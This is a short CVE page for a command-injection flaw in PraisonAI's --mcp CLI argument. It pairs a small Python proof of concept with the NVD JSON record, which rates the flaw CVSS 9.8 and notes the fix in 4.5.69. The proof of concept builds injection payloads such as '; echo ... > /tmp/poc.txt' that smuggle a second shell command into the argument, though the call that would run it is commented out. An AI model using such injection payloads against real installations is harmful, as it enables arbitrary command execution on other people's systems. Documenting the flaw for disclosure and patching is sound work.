CVE-2026-34935

# PoC for CVE-2026-34935 # The application passes the --mcp argument directly to shlex.split() and anyio.open_process(). # By injecting shell metacharacters, we can achieve arbitrary command execution. import subprocess import sys # Simulating the vulnerable CLI call # In a real scenario, this would be executed on the target machine running the vulnerable version. # Example payload: "valid_param; touch /tmp/pwned" # The vulnerability lies in how the input is parsed and executed. # If the app executes: anyio.open_process(shlex.split(user_input)) # and user_input is: "some_arg; malicious_command" payload = "; echo 'CVE-2026-34935 Exploited' > /tmp/poc.txt" vulnerable_command_args = ["praisonai", "--mcp", payload] print(f"[+] Attempting to exploit CVE-2026-34935 with payload: {payload}") print(f"[+] Simulated command: praisonai --mcp '{payload}'") # subprocess.call(vulnerable_command_args) # Uncomment to run locally if vulnerable app exists print("[!] If exploited, a file /tmp/poc.txt would be created on the target.")

{"cve": {"id": "CVE-2026-34935", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:05.693", "lastModified": "2026-04-14T18:14:51.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. From version 4.5.15 to before version 4.5.69, the --mcp CLI argument is passed directly to shlex.split() and forwarded through the call chain to anyio.open_process() with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. This issue has been patched in version 4.5.69."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.15", "versionEndExcluding": "4.5.69", "matchCriteriaId": "5FE53D99-2CEE-4ECB-A45E-8F0E5A5A2878"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9gm9-c8mq-vq7m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}